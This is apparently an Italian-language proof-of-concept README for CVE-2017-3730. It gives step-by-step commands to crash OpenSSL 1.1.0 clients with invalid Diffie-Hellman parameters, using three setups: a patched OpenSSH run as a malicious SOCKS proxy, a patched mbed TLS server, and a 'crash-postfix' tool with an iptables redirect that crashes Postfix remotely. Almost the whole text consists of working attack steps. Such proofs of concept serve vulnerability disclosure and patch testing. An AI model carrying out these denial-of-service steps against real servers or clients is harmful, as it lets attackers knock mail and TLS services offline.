CVE-2017-3730

OpenSSL CVE-2017-3730 prova di concetto

Usare OpenSSH come proxy per modificare al volo i valori DH

• Crea un server SSL usando una cipher suite come DHE-PSK-WITH-AES-256-GCM-SHA384. Supponiamo che sia in esecuzione su 10.0.2.2 porta 8899
• Ottieni openssh-7.4p1
• Applica la patch
• Compilalo
• Eseguilo in questo modo:

./ssh -vvv -N -D 1085 -o TCPKeepAlive=yes -o ServerAliveInterval=60 localhost

• In un altro terminale crea un file ~/.tsocks.conf con questo contenuto:

server = 127.0.0.1
server_port = 1085
server_type = 5
local = 127.0.0.0/255.255.255.0

• ```export TSOCKS_CONF_FILE=`realpath ~/.tsocks.conf````
• tsocks
• Questo crea una shell in cui tutto il traffico di rete passa attraverso il nostro proxy "maligno"
• openssl s_client -connect 10.0.2.2:8899 -psk AA
• si blocca

Modifica mbed TLS per fornire un parametro DH non valido

• Ottieni https://github.com/ARMmbed/mbedtls/archive/mbedtls-2.4.1.tar.gz
• Applica mbedtls-2.4.1-patch.txt
• make -j4 programs
• Esegui il server: programs/ssl/ssl_server2 force_ciphersuite=TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
• Connettiti ad esso con il client OpenSSL 1.1.0
• si blocca

Crash di postfix da remoto

• Compila postfix con OpenSSL 1.1.0
• Compila crash-postfix.c contro il mbed TLS PATCHED (vedi sopra)
• Quello che ho fatto è stato eseguire postfix in una VM ed eseguire crash-postfix sull'host:
• iptables -t nat -A OUTPUT -p tcp --dport 25 -j DNAT --to-destination 10.0.2.2:8888
• Avvia crash-postfix
• Esegui postfix: posttls-finger 10.0.2.2
• Blocco